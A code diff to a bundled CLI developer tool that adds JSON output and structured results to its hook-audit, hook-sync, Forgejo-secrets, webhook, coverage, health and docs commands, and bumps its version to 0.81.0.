+	]).transform((decision) => decision === "passthrough" ? "none" : decision),
 	rule: z.string().nullable(),
-	reason: z.string().nullable()
+	reason: z.string().nullable(),
+	permissionMode: z.string().optional()
 });
+function countDecisions(entries) {
+	const counts = {
+		allow: 0,
+		deny: 0,
+		none: 0
+	};
+	for (const entry of entries) counts[entry.decision]++;
+	return counts;
+}
+/** Count entries per `permissionMode`, skipping entries that carry none -- older log lines never
+* set the field at all. */
+function countByMode(entries) {
+	const counts = {};
+	for (const entry of entries) if (entry.permissionMode !== void 0) counts[entry.permissionMode] = (counts[entry.permissionMode] ?? 0) + 1;
+	return counts;
+}
 function parseAuditLog(logPath) {
 	if (!existsSync(logPath)) return [];
 	const lines = readFileSync(logPath, "utf-8").split("\n").filter(Boolean);
@@ -20036,7 +20632,7 @@ const hooksAuditCommand = defineCommand({
 		},
 		decision: {
 			type: "string",
-			description: "Filter by decision: allow, deny, or passthrough"
+			description: "Filter by decision: allow, deny, or none (passthrough is an alias for none)"
 		},
 		json: {
 			type: "boolean",
@@ -20052,11 +20648,16 @@ const hooksAuditCommand = defineCommand({
 			out.text("No audit log entries found.");
 			return;
 		}
-		const decisionFilter = args.decision;
+		const decisionFilter = args.decision === "passthrough" ? "none" : args.decision;
 		if (decisionFilter) entries = entries.filter((e) => e.decision === decisionFilter);
 		if (args.json === true) {
 			const tail = args.tail ? Number.parseInt(args.tail, 10) : entries.length;
-			out.json({ entries: entries.slice(-tail) });
+			const byMode = countByMode(entries);
+			out.json({
+				entries: entries.slice(-tail),
+				counts: countDecisions(entries),
+				...Object.keys(byMode).length > 0 ? { byMode } : {}
+			});
 			return;
 		}
 		if (args.tail) {
@@ -20068,18 +20669,19 @@ const hooksAuditCommand = defineCommand({
 			}
 			return;
 		}
-		const counts = {
-			allow: 0,
-			deny: 0,
-			passthrough: 0
-		};
-		for (const e of entries) counts[e.decision]++;
-		out.text(`${String(entries.length)} entries: ${String(counts.allow)} allow, ${String(counts.deny)} deny, ${String(counts.passthrough)} passthrough`);
+		const counts = countDecisions(entries);
+		out.text(`${String(entries.length)} entries: ${String(counts.allow)} allow, ${String(counts.deny)} deny, ${String(counts.none)} none`);
 		out.text("");
+		const byMode = countByMode(entries);
+		if (Object.keys(byMode).length > 0) {
+			out.text("By permission mode:");
+			for (const [mode, count] of Object.entries(byMode).toSorted((a, b) => b[1] - a[1])) out.text(`  ${String(count).padStart(4)}x  ${mode}`);
+			out.text("");
+		}
 		const denied = entries.filter((e) => e.decision === "deny");
-		const passthrough = entries.filter((e) => e.decision === "passthrough");
+		const none = entries.filter((e) => e.decision === "none");
 		printSection(out, "Denied commands:", denied, 10);
-		printSection(out, "Passthrough commands:", passthrough, 10);
+		printSection(out, "None commands:", none, 10);
 	}
 });
 //#endregion
@@ -20128,20 +20730,23 @@ const hooksSyncCommand = defineCommand({
 		check: {
 			type: "boolean",
 			description: "Dry-run mode: report drift without writing files"
+		},
+		json: {
+			type: "boolean",
+			description: "Emit results as JSON instead of a human-readable summary"
 		}
 	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const config = buildMinimalConfig(path.resolve(args.dir ?? "."));
-		if (args.check) {
-			process.exitCode = await runHooksCheck(config);
-			return;
-		}
-		process.exitCode = await runHooksSync(config);
+		const outcome = args.check ? await runHooksCheck(config) : await runHooksSync(config);
+		out.json(outcome);
+		process.exitCode = outcome.exitCode;
 	}
 });
 /**
 * Run hooks:sync in write mode. Reports any generator failures first, then still lists the
-* files that were created/updated/removed. Returns 1 when a failure is present -- a run that
+* files that were created/updated/removed. Exits 1 when a failure is present -- a run that
 * changed files and failed one is not a success, so neither "up to date" nor "synced" prints.
 */
 async function runHooksSync(config) {
@@ -20152,17 +20757,32 @@ async function runHooksSync(config) {
 	const created = results.filter((r) => r.action === "created");
 	const updated = results.filter((r) => r.action === "updated");
 	const removed = results.filter((r) => r.action === "removed");
-	if (!(created.length > 0 || updated.length > 0 || removed.length > 0)) {
-		if (failed.length === 0) log$1.success("Hooks are up to date.");
-		return failed.length > 0 ? 1 : 0;
-	}
-	for (const r of [
+	const actionable = [
 		...created,
 		...updated,
 		...removed
-	]) log$1.info(`${r.action}: ${r.filePath} -- ${r.description}`);
+	];
+	if (!(actionable.length > 0)) {
+		if (failed.length === 0) log$1.success("Hooks are up to date.");
+		return {
+			status: failed.length > 0 ? "failed" : "up-to-date",
+			check: false,
+			actionable,
+			all: results,
+			failed,
+			exitCode: failed.length > 0 ? 1 : 0
+		};
+	}
+	for (const r of actionable) log$1.info(`${r.action}: ${r.filePath} -- ${r.description}`);
 	if (failed.length === 0) log$1.success("Hooks synced.");
-	return failed.length > 0 ? 1 : 0;
+	return {
+		status: failed.length > 0 ? "failed" : "synced",
+		check: false,
+		actionable,
+		all: results,
+		failed,
+		exitCode: failed.length > 0 ? 1 : 0
+	};
 }
 async function runHooksCheck(config) {
 	const { ctx, pendingWrites } = createDryRunContext(config);
@@ -20182,13 +20802,27 @@ async function runHooksCheck(config) {
 	});
 	if (actionable.length === 0 && failed.length === 0) {
 		log$1.success("Hooks are up to date.");
-		return 0;
+		return {
+			status: "up-to-date",
+			check: true,
+			actionable,
+			all: results,
+			failed,
+			exitCode: 0
+		};
 	}
 	if (actionable.length > 0) {
 		log$1.warn(`${String(actionable.length)} file(s) would be changed by hooks:sync`);
 		for (const r of actionable) log$1.info(`  ${r.action}: ${r.filePath} -- ${r.description}`);
 	}
-	return 1;
+	return {
+		status: failed.length > 0 ? "failed" : "drift",
+		check: true,
+		actionable,
+		all: results,
+		failed,
+		exitCode: 1
+	};
 }
 //#endregion
 //#region src/commands/setup-secrets.ts
@@ -20549,10 +21183,19 @@ async function runSecretsSet(executor, config) {
 	if (!isValidSecretName(config.secretName)) throw new FatalError(`Invalid secret name "${config.secretName}". A name must match [A-Za-z_][A-Za-z0-9_]* and must not start with FORGEJO_, GITEA_, GITHUB_, or a digit.`);
 	if (config.dryRun) {
 		log$1.info(`[dry-run] Would set secret ${config.secretName} on ${config.conn.repository}`);
-		return;
+		return {
+			status: "would-set",
+			name: config.secretName,
+			repository: config.conn.repository
+		};
 	}
 	await setActionSecret(executor, config.conn, config.secretName, config.secretValue);
 	log$1.success(`Set secret ${config.secretName}`);
+	return {
+		status: "set",
+		name: config.secretName,
+		repository: config.conn.repository
+	};
 }
 async function runSecretsList(executor, config) {
 	const names = await listActionSecrets(executor, config.conn);
@@ -20563,10 +21206,19 @@ async function runSecretsList(executor, config) {
 async function runSecretsDelete(executor, config) {
 	if (config.dryRun) {
 		log$1.info(`[dry-run] Would delete secret ${config.secretName} from ${config.conn.repository}`);
-		return;
+		return {
+			status: "would-delete",
+			name: config.secretName,
+			repository: config.conn.repository
+		};
 	}
 	await deleteActionSecret(executor, config.conn, config.secretName);
 	log$1.success(`Deleted secret ${config.secretName}`);
+	return {
+		status: "deleted",
+		name: config.secretName,
+		repository: config.conn.repository
+	};
 }
 const setCommand = defineCommand({
 	meta: {
@@ -20590,18 +21242,24 @@ const setCommand = defineCommand({
 		verbose: {
 			type: "boolean",
 			description: "Enable verbose output"
+		},
+		json: {
+			type: "boolean",
+			description: "Emit results as JSON instead of a human-readable summary"
 		}
 	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const conn = requireForgejo(process.cwd(), "forgejo:secrets");
 		const executor = createRealExecutor$1();
 		const secretValue = readSecretValue(args.body);
-		await runSecretsSet(executor, {
+		const result = await runSecretsSet(executor, {
 			conn,
 			secretName: args.name,
 			secretValue,
 			dryRun: args["dry-run"] === true
 		});
+		out.json(result);
 	}
 });
 const listCommand$1 = defineCommand({
@@ -20609,13 +21267,24 @@ const listCommand$1 = defineCommand({
 		name: "list",
 		description: "List repository secret names"
 	},
-	args: { verbose: {
-		type: "boolean",
-		description: "Enable verbose output"
-	} },
-	async run() {
+	args: {
+		verbose: {
+			type: "boolean",
+			description: "Enable verbose output"
+		},
+		json: {
+			type: "boolean",
+			description: "Emit results as JSON instead of a human-readable summary"
+		}
+	},
+	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const conn = requireForgejo(process.cwd(), "forgejo:secrets");
-		await runSecretsList(createRealExecutor$1(), { conn });
+		const secrets = await runSecretsList(createRealExecutor$1(), { conn });
+		out.json({
+			repository: conn.repository,
+			secrets
+		});
 	}
 });
 const deleteCommand = defineCommand({
@@ -20636,15 +21305,21 @@ const deleteCommand = defineCommand({
 		verbose: {
 			type: "boolean",
 			description: "Enable verbose output"
+		},
+		json: {
+			type: "boolean",
+			description: "Emit results as JSON instead of a human-readable summary"
 		}
 	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const conn = requireForgejo(process.cwd(), "forgejo:secrets");
-		await runSecretsDelete(createRealExecutor$1(), {
+		const result = await runSecretsDelete(createRealExecutor$1(), {
 			conn,
 			secretName: args.name,
 			dryRun: args["dry-run"] === true
 		});
+		out.json(result);
 	}
 });
 const forgejoSecretsCommand = defineCommand({
@@ -20652,6 +21327,10 @@ const forgejoSecretsCommand = defineCommand({
 		name: "forgejo:secrets",
 		description: "Low-level CRUD for individual Forgejo Actions secrets (set, list, delete). Use setup:secrets for initial repo onboarding"
 	},
+	args: { json: {
+		type: "boolean",
+		description: "Emit results as JSON instead of a human-readable summary"
+	} },
 	subCommands: {
 		set: setCommand,
 		list: listCommand$1,
@@ -21357,7 +22036,7 @@ function buildPayloadFromEnv() {
 			tag_name: tagName,
 			name: tagName,
 			draft: false,
-			prerelease: false,
+			prerelease: tagIsPrerelease(tagName),
 			author: { login: actor }
 		},
 		repository: {
@@ -21443,7 +22122,7 @@ async function sendWebhookWithLogging(url, secret, payload) {
 	if (result.ok) log$1.info(`Post-release hook completed successfully (${context})`);
 	else {
 		log$1.error(`Post-release hook failed: ${result.error ?? "unknown error"} (${context})`);
-		if (process.env["CI"]) {
+		if (process.env["CI"] && !isJsonMode()) {
 			const reason = (result.error ?? "unknown error").replaceAll(/[\r\n]+/gu, " ").slice(0, 300);
 			rawLog(`::error::Post-release hook failed: ${reason}`);
 		}
@@ -21464,7 +22143,7 @@ function resolveWebhookPayload(args, env = process.env) {
 		repository: args.repository ?? env["GITHUB_REPOSITORY"] ?? "",
 		serverUrl: args["server-url"] ?? env["GITHUB_SERVER_URL"] ?? "https://github.com",
 		actor: args.actor ?? env["GITHUB_ACTOR"] ?? "github-actions[bot]",
-		prerelease: args.prerelease ?? false
+		prerelease: args.prerelease ?? (args.tag !== void 0 ? tagIsPrerelease(args.tag) : false)
 	});
 	return buildPayloadFromEnv();
 }
@@ -21501,16 +22180,44 @@ const webhookSendCommand = defineCommand({
 		strict: {
 			type: "boolean",
 			description: "Exit non-zero when delivery fails. Default is best-effort: the failure is logged and annotated, and the command exits 0."
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the delivery result as JSON"
 		}
 	},
 	async run({ args }) {
+		const out = createCliOutput(args.json === true);
+		const strict = args.strict === true;
 		if (!args.url) {
 			log$1.info("No webhook URL configured -- skipping post-release hook");
+			out.json({
+				status: "skipped-no-url",
+				strict,
+				url: null,
+				secret: null,
+				payload: null,
+				delivery: null
+			});
 			return;
 		}
 		const secret = process.env["WEBHOOK_SECRET"];
 		const payload = resolveWebhookPayload(args);
-		if (!(await sendWebhookWithLogging(args.url, secret || void 0, payload)).ok && args.strict) process.exitCode = 1;
+		const signingSecret = secret || void 0;
+		const result = await sendWebhookWithLogging(args.url, signingSecret, payload);
+		out.json({
+			status: result.ok ? "delivered" : "failed",
+			strict,
+			url: redact(args.url),
+			secret: signingSecret === void 0 ? null : maskSecret(signingSecret),
+			payload: payload ?? null,
+			delivery: {
+				ok: result.ok,
+				status: result.status ?? null,
+				error: result.error ?? null
+			}
+		});
+		if (!result.ok && strict) process.exitCode = 1;
 	}
 });
 //#endregion
@@ -21944,7 +22651,6 @@ const coverageCheckCommand = defineCommand({
 //#endregion
 //#region src/commands/coverage-record.ts
 const COVERAGE_SUMMARY_FILE = "coverage/coverage-summary.json";
-const out$3 = (msg) => console.log(msg);
 const coverageRecordCommand = defineCommand({
 	meta: {
 		name: "coverage:record",
@@ -21959,13 +22665,22 @@ const coverageRecordCommand = defineCommand({
 		branch: {
 			type: "string",
 			description: "Override the orphan branch name (default: from .tooling.json or 'bst/coverage-metrics')"
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the recorded history entry as JSON"
 		}
 	},
 	run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const targetDir = path.resolve(args.dir ?? ".");
 		const config = resolveCoverageConfig(targetDir);
 		if (!config.historyEnabled) {
-			out$3("coverage history disabled (.tooling.json: coverage.history === 'none' or coverage === false). Skipping record.");
+			out.text("coverage history disabled (.tooling.json: coverage.history === 'none' or coverage === false). Skipping record.");
+			out.json({
+				status: "disabled",
+				reason: config.disabledReason ?? (config.enabled ? "coverage.history === 'none'" : "coverage is false (or undetected -- history needs the gate)")
+			});
 			return;
 		}
 		const summaryPath = path.join(targetDir, COVERAGE_SUMMARY_FILE);
@@ -21983,14 +22698,23 @@ const coverageRecordCommand = defineCommand({
 			}
 		});
 		const branch = args.branch ?? config.historyBranch;
-		out$3(`Appending coverage record for ${sha.slice(0, 7)} to ${branch}...`);
+		out.text(`Appending coverage record for ${sha.slice(0, 7)} to ${branch}...`);
 		const result = appendRecord(executor, {
 			cwd: targetDir,
 			historyBranch: branch,
 			authorName: "coverage-bot",
 			authorEmail: "coverage-bot@noreply.localhost"
 		}, record);
-		out$3(`${result.bootstrapped ? "Bootstrapped" : "Appended to"} ${branch}: commit ${result.commitSha.slice(0, 7)}${result.attempts > 1 ? ` (after ${String(result.attempts)} attempts)` : ""}.`);
+		out.text(`${result.bootstrapped ? "Bootstrapped" : "Appended to"} ${branch}: commit ${result.commitSha.slice(0, 7)}${result.attempts > 1 ? ` (after ${String(result.attempts)} attempts)` : ""}.`);
+		out.json({
+			status: "recorded",
+			branch,
+			sha,
+			commitSha: result.commitSha,
+			bootstrapped: result.bootstrapped,
+			attempts: result.attempts,
+			record
+		});
 	}
 });
 //#endregion
@@ -23519,22 +24243,32 @@ function readHealthRecords(executor, config) {
 }
 //#endregion
 //#region src/commands/health-record.ts
-const out$2 = (msg) => console.log(msg);
 const healthRecordCommand = defineCommand({
 	meta: {
 		name: "health:record",
 		description: "Append the current codebase health metrics to the orphan-branch history"
 	},
-	args: { dir: {
-		type: "positional",
-		description: "Project directory (default: current directory)",
-		required: false
-	} },
+	args: {
+		dir: {
+			type: "positional",
+			description: "Project directory (default: current directory)",
+			required: false
+		},
+		json: {
+			type: "boolean",
+			description: "Emit the recorded history entry as JSON"
+		}
+	},
 	run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const targetDir = path.resolve(args.dir ?? ".");
 		const config = resolveHealthConfig(targetDir);
 		if (!config.historyEnabled) {
-			out$2("health: history disabled (.tooling.json: health.history === 'none' or health.enabled === false). Skipping record.");
+			out.text("health: history disabled (.tooling.json: health.history === 'none' or health.enabled === false). Skipping record.");
+			out.json({
+				status: "disabled",
+				reason: config.enabled ? "health.history === 'none'" : "health.enabled is not true (history needs the gate)"
+			});
 			return;
 		}
 		const executor = createRealHealthExecutor(targetDir);
@@ -23543,10 +24277,16 @@ const healthRecordCommand = defineCommand({
 		const sha = headResult.stdout.trim();
 		const details = collectDetails(executor, buildCollectConfig(config, { tsConfig: existsSync(path.join(targetDir, "tsconfig.json")) ? "tsconfig.json" : void 0 }));
 		const { warnings, emptyScope } = formatSourceDiagnosis(details.sources, config.graphMetricsEnabled);
-		for (const warning of warnings) out$2(warning);
+		for (const warning of warnings) out.notice(warning);
 		if (emptyScope !== void 0) {
-			out$2(emptyScope);
-			out$2(`Skipping record: ${config.historyBranch} would gain a permanent false-zero entry.`);
+			out.notice(emptyScope);
+			out.notice(`Skipping record: ${config.historyBranch} would gain a permanent false-zero entry.`);
+			out.json({
+				status: "skipped-empty-scope",
+				branch: config.historyBranch,
+				sha,
+				sources: details.sources
+			});
 			return;
 		}
 		const record = {
@@ -23555,14 +24295,24 @@ const healthRecordCommand = defineCommand({
 			sha,
 			timestamp: (/* @__PURE__ */ new Date()).toISOString()
 		};
-		out$2(`Appending health record for ${sha.slice(0, 7)} to ${config.historyBranch}...`);
+		out.text(`Appending health record for ${sha.slice(0, 7)} to ${config.historyBranch}...`);
 		const result = appendHealthRecord(executor, {
 			cwd: targetDir,
 			historyBranch: config.historyBranch,
 			authorName: "health-bot",
 			authorEmail: "health-bot@noreply.localhost"
 		}, record);
-		out$2(`${result.bootstrapped ? "Bootstrapped" : "Appended to"} ${config.historyBranch}: commit ${result.commitSha.slice(0, 7)}${result.attempts > 1 ? ` (after ${String(result.attempts)} attempts)` : ""}.`);
+		out.text(`${result.bootstrapped ? "Bootstrapped" : "Appended to"} ${config.historyBranch}: commit ${result.commitSha.slice(0, 7)}${result.attempts > 1 ? ` (after ${String(result.attempts)} attempts)` : ""}.`);
+		out.json({
+			status: "recorded",
+			branch: config.historyBranch,
+			sha,
+			commitSha: result.commitSha,
+			bootstrapped: result.bootstrapped,
+			attempts: result.attempts,
+			record,
+			sources: details.sources
+		});
 	}
 });
 //#endregion
@@ -27936,7 +28686,6 @@ function applyRelocatePlan(exec, plan) {
 }
 //#endregion
 //#region src/commands/docs-relocate.ts
-const out$1 = (msg) => console.log(msg);
 /**
 * A path that exists but can't be read as a file is a directory.
 * `RelocateExecutor` has no directory-listing primitive of its own -- this
@@ -27984,6 +28733,22 @@ function runDocsRelocate(exec, sources, dest, opts) {
 	for (const move of moves) if (exec.exists(move.from) && exec.exists(move.to)) throw new FatalError(`docs:relocate: refusing to overwrite existing destination: ${move.to}`);
 	const plan = buildRelocatePlan(exec, moves);
 	debug(vc, `docs:relocate: ${String(plan.moves.length)} move(s), ${String(plan.rewrites.length)} file(s) to rewrite`);
+	const payload = {
+		moves: plan.moves.map((move) => ({
+			from: move.from,
+			to: move.to,
+			status: move.status
+		})),
+		rewrites: plan.rewrites.map((rewrite) => ({
+			file: rewrite.file,
+			edits: rewrite.edits.map((edit) => ({
+				line: edit.line,
+				oldTarget: edit.oldTarget,
+				newTarget: edit.newTarget
+			}))
+		})),
+		dryRun: opts.dryRun === true
+	};
 	const lines = [];
 	for (const move of plan.moves) lines.push(move.status === "pending" ? `move: ${move.from} -> ${move.to}` : `move: ${move.from} -> ${move.to} (already done)`);
 	for (const rewrite of plan.rewrites) for (const edit of rewrite.edits) lines.push(`  ${edit.file}:${String(edit.line)}: ${edit.oldTarget} -> ${edit.newTarget}`);
@@ -27992,9 +28757,9 @@ function runDocsRelocate(exec, sources, dest, opts) {
 		applyRelocatePlan(exec, plan);
 		lines.push("docs:relocate: done.");
 	}
-	lines.push("docs:relocate: only .md files were scanned for inbound references.");
 	return {
-		output: lines.join("\n"),
+		payload,
+		text: lines.join("\n"),
 		exitCode: 0
 	};
 }
@@ -28008,28 +28773,34 @@ const docsRelocateCommand = defineCommand({
 			type: "boolean",
 			description: "Print the planned move and edits without writing"
 		},
+		json: {
+			type: "boolean",
+			description: "Emit the plan as JSON"
+		},
 		verbose: {
 			type: "boolean",
 			description: "Emit detailed debug logging"
 		}
 	},
 	run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const positionals = args._;
 		if (positionals.length < 2) throw new FatalError("Usage: bst docs:relocate <src>... <dest>");
 		const dest = positionals.at(-1);
 		if (dest === void 0) throw new FatalError("Usage: bst docs:relocate <src>... <dest>");
 		const sources = positionals.slice(0, -1);
-		const { output, exitCode } = runDocsRelocate(createRealRelocateExecutor(process.cwd()), sources, dest, {
+		const { payload, text, exitCode } = runDocsRelocate(createRealRelocateExecutor(process.cwd()), sources, dest, {
 			dryRun: args.dryRun === true,
 			verbose: args.verbose === true || isEnvVerbose()
 		});
-		if (output !== "") out$1(output);
+		out.json(payload);
+		if (text !== "") out.text(text);
+		out.text("docs:relocate: only .md files were scanned for inbound references.");
 		process.exitCode = exitCode;
 	}
 });
 //#endregion
 //#region src/commands/docs-retire.ts
-const out = (msg) => console.log(msg);
 const DATE_RE = /^\d{4}-\d{2}-\d{2}$/;
 /**
 * A retirement date is meant to line up with the local-time date `git` stamps on the
@@ -28149,6 +28920,18 @@ function stripLeadingBlockquote(line) {
 */
 function applyLifecycleEdits(content, src, verb, date, shipped) {
 	const summary = [];
+	const edits = [];
+	/** One place so a `kind`, its applied/not-applied flag, and the sentence describing it can
+	* never drift apart. `retire-paragraph-present` is the one kind that reports a warning rather
+	* than a write -- the supplied `--shipped` text was not applied. */
+	function record(kind, description) {
+		summary.push(description);
+		edits.push({
+			kind,
+			description,
+			applied: kind !== "retire-paragraph-present"
+		});
+	}
 	const block = matchStatusBlock(content);
 	if (!block) throw new FatalError(`docs:retire: ${src} has no Status: line in its header -- refusing to guess where it belongs`);
 	const currentValue = block.rawValue.trim();
@@ -28161,8 +28944,8 @@ function applyLifecycleEdits(content, src, verb, date, shipped) {
 		const newLine = block.prefix + newValue;
 		result = result.slice(0, block.lineStart) + newLine + result.slice(block.blockEnd);
 		statusLineEnd = block.lineStart + newLine.length;
-		if (currentValue !== newValue) summary.push(`${src}: Status: ${currentValue} -> ${newValue}`);
-		if (priorLines !== void 0) summary.push(`${src}: collapsed ${String(priorLines.length)}-line Status block into one line`);
+		if (currentValue !== newValue) record("status-line", `${src}: Status: ${currentValue} -> ${newValue}`);
+		if (priorLines !== void 0) record("status-collapse", `${src}: collapsed ${String(priorLines.length)}-line Status block into one line`);
 	}
 	const boundary = skipHistoricalBanner(result, enclosingBlockEnd(result, statusLineEnd, block.quoted));
 	const existingParagraph = findRetireParagraph(result, statusLineEnd, boundary);
@@ -28171,20 +28954,21 @@ function applyLifecycleEdits(content, src, verb, date, shipped) {
 		if (shipped === void 0) throw new FatalError(`docs:retire: --shipped is required to add the "${RETIRE_LEAD_IN[verb]}:" paragraph (doc has none yet)`);
 		const paragraph = `> ${RETIRE_LEAD_IN[verb]}: ${shipped}`;
 		result = insertBlockAtBoundary(result, boundary, paragraph);
-		summary.push(`${src}: add "${RETIRE_LEAD_IN[verb]}:" paragraph`);
+		record("retire-paragraph", `${src}: add "${RETIRE_LEAD_IN[verb]}:" paragraph`);
 		insertPoint = boundary + 2 + paragraph.length;
 	} else {
 		insertPoint = existingParagraph.end;
-		if (shipped !== void 0 && !existingParagraph.text.includes(shipped.trim())) summary.push(`${src}: retire paragraph already present -- the --shipped text was not written`);
+		if (shipped !== void 0 && !existingParagraph.text.includes(shipped.trim())) record("retire-paragraph-present", `${src}: retire paragraph already present -- the --shipped text was not written`);
 	}
 	if (priorLines !== void 0) {
 		const note = `\n\n> Prior status: ${priorLines[0]}` + priorLines.slice(1).map((line) => `\n> ${line}`).join("");
 		result = result.slice(0, insertPoint) + note + result.slice(insertPoint);
-		summary.push(`${src}: preserved ${String(priorLines.length)}-line prior status text below the retire paragraph`);
+		record("prior-status-preserved", `${src}: preserved ${String(priorLines.length)}-line prior status text below the retire paragraph`);
 	}
 	return {
 		content: result,
-		summary
+		summary,
+		edits
 	};
 }
 /** Renders the move, relink, and lifecycle edits into a `--dry-run`-preview-able summary. */
@@ -28214,31 +28998,59 @@ function runDocsRetire(exec, src, opts) {
 	const relinkRewrite = relocatePlan.rewrites.find((r) => r.file === dest);
 	const baseContent = relinkRewrite?.content ?? exec.readFile(move.status === "pending" ? src : dest);
 	if (baseContent === void 0) throw new FatalError(`docs:retire: cannot read ${move.status === "pending" ? src : dest}`);
-	const { content: lifecycleContent, summary } = applyLifecycleEdits(baseContent, dest, verb, date, opts.shipped);
+	const { content: lifecycleContent, summary, edits: lifecycle } = applyLifecycleEdits(baseContent, dest, verb, date, opts.shipped);
 	const delinked = delinkDocument(lifecycleContent, path.posix.dirname(dest));
 	const finalContent = delinked.content;
 	if (delinked.linkEdits.length > 0) summary.push(`de-linked ${String(delinked.linkEdits.length)} link(s) pointing outside docs/`);
 	if (delinked.bannerAdded) summary.push("added the historical banner");
 	if (delinked.skipped !== void 0) summary.push(`banner skipped -- ${delinked.skipped}`);
 	debug(vc, `docs:retire: move ${src} -> ${dest}, ${String(summary.length)} lifecycle edit(s)`);
+	const writeSet = relocatePlan.rewrites.filter((r) => r.file !== dest);
+	if (relinkRewrite !== void 0 || finalContent !== baseContent) writeSet.push({
+		file: dest,
+		content: finalContent,
+		edits: relinkRewrite?.edits ?? []
+	});
+	const changed = move.status === "pending" || writeSet.length > 0;
+	const payload = {
+		verb,
+		date,
+		src,
+		dest,
+		move: {
+			from: move.from,
+			to: move.to,
+			status: move.status
+		},
+		lifecycle,
+		rewrites: relocatePlan.rewrites.map((rewrite) => ({
+			file: rewrite.file,
+			edits: rewrite.edits.map((edit) => ({
+				line: edit.line,
+				oldTarget: edit.oldTarget,
+				newTarget: edit.newTarget
+			}))
+		})),
+		delink: {
+			linkEdits: delinked.linkEdits.length,
+			bannerAdded: delinked.bannerAdded,
+			skipped: delinked.skipped ?? null
+		},
+		changed,
+		dryRun: opts.dryRun === true
+	};
 	const lines = formatRetireLines(src, dest, relocatePlan, summary);
 	if (opts.dryRun === true) lines.push("docs:retire: dry run -- nothing written.");
 	else {
-		const rewrites = relocatePlan.rewrites.filter((r) => r.file !== dest);
-		if (relinkRewrite !== void 0 || finalContent !== baseContent) rewrites.push({
-			file: dest,
-			content: finalContent,
-			edits: relinkRewrite?.edits ?? []
-		});
 		applyRelocatePlan(exec, {
 			moves: relocatePlan.moves,
-			rewrites
+			rewrites: writeSet
 		});
 		lines.push("docs:retire: done.");
 	}
-	lines.push("docs:retire: only .md files were scanned for inbound references.");
 	return {
-		output: lines.join("\n"),
+		payload,
+		text: lines.join("\n"),
 		exitCode: 0
 	};
 }
@@ -28269,15 +29081,20 @@ const docsRetireCommand = defineCommand({
 			type: "boolean",
 			description: "Print the planned move and edits without writing"
 		},
+		json: {
+			type: "boolean",
+			description: "Emit the retirement plan as JSON"
+		},
 		verbose: {
 			type: "boolean",
 			description: "Emit detailed debug logging"
 		}
 	},
 	run({ args }) {
+		const out = createCliOutput(args.json === true);
 		const [src] = args._;
 		if (src === void 0) throw new FatalError("Usage: bst docs:retire <plan.md> --status <verb> --shipped <text>");
-		const { output, exitCode } = runDocsRetire(createRealRelocateExecutor(process.cwd()), src, {
+		const { payload, text, exitCode } = runDocsRetire(createRealRelocateExecutor(process.cwd()), src, {
 			status: args.status,
 			date: args.date,
 			shipped: args.shipped,
@@ -28285,7 +29102,9 @@ const docsRetireCommand = defineCommand({
 			dryRun: args.dryRun === true,
 			verbose: args.verbose === true || isEnvVerbose()
 		});
-		if (output !== "") out(output);
+		out.json(payload);
+		if (text !== "") out.text(text);
+		out.text("docs:retire: only .md files were scanned for inbound references.");
 		process.exitCode = exitCode;
 	}
 });
@@ -29624,6 +30443,25 @@ function toAscii(text) {
 		fixAmbiguous: true
 	}).text;
 }
+const TITLE_RE = /^#\s+(.+)$/m;
+const CLASS_RE = /^-\s*Class:\s*(.+)$/m;
+const PHASE_RE = /^-\s*Phase:\s*(.+)$/m;
+/**
+* Read a finding file's own header: its `#` heading, `- Class:` line and `- Phase:` line.
+*
+* The single reader of that header -- {@link composeFindingFile} writes it, and both listing
+* surfaces read it back through here, so a header line added or renamed is one edit. Tolerant by
+* construction: a file that is not shaped like a finding at all comes back all-null rather than
+* throwing, because every caller lists a whole directory of files this convention did not
+* necessarily write.
+*/
+function parseFindingHeader(text) {
+	return {
+		title: TITLE_RE.exec(text)?.[1]?.trim() ?? null,
+		class: CLASS_RE.exec(text)?.[1]?.trim() ?? null,
+		phase: PHASE_RE.exec(text)?.[1]?.trim() ?? null
+	};
+}
 /**
 * How many sweep deferrals a finding's body records: lines opening with the `**Deferred` marker
 * the backlog run appends. Line-anchored, so the word mid-prose or a marker inside a `> `-quoted
@@ -29766,8 +30604,6 @@ const findingsAddCommand = defineCommand({
 //#endregion
 //#region src/commands/findings-list.ts
 const MS_PER_DAY = 864e5;
-const TITLE_RE = /^#\s+(.+)$/m;
-const CLASS_RE = /^-\s*Class:\s*(.+)$/m;
 /** Reads a finding's `# ` heading, `- Class:` line, and deferral count for the listing.
 * Tolerant: a body that does not match the shape this ledger writes degrades to nulls -- a
 * listing must never throw on a hand-edited or malformed file, only report what it could read. */
@@ -29782,9 +30618,10 @@ function readFindingSummary(fullPath) {
 			deferrals: 0
 		};
 	}
+	const header = parseFindingHeader(body);
 	return {
-		title: TITLE_RE.exec(body)?.[1]?.trim() ?? null,
-		class: CLASS_RE.exec(body)?.[1]?.trim() ?? null,
+		title: header.title,
+		class: header.class,
 		deferrals: countDeferralNotes(body)
 	};
 }
@@ -30052,8 +30889,8 @@ function gitOut(args, cwd) {
 }
 /**
 * The redirect for a base branch that moved on after head forked from it. It names a separate
-* command rather than a `$(...)` substitution, because the bst-hook's injection guard prompts on
-* one.
+* command rather than a `$(...)` substitution, because the bst-hook's injection guard gives one
+* no decision, which leaves it to Claude Code's permission prompt or auto mode.
 */
 function forkRedirect(base, head, baseSha, headSha, cwd) {
 	const shared = runGit([
@@ -30526,7 +31363,7 @@ setForgejoLogger(log$1);
 * `local <sha>[-dirty]` otherwise -- so an artifact built from the working tree
 * can't pass itself off as the published release whose version it carries.
 */
-const displayVersion = "0.80.0";
+const displayVersion = "0.81.0";
 /**
 * Wait until a stream's internally-buffered data has been flushed to the OS.
 *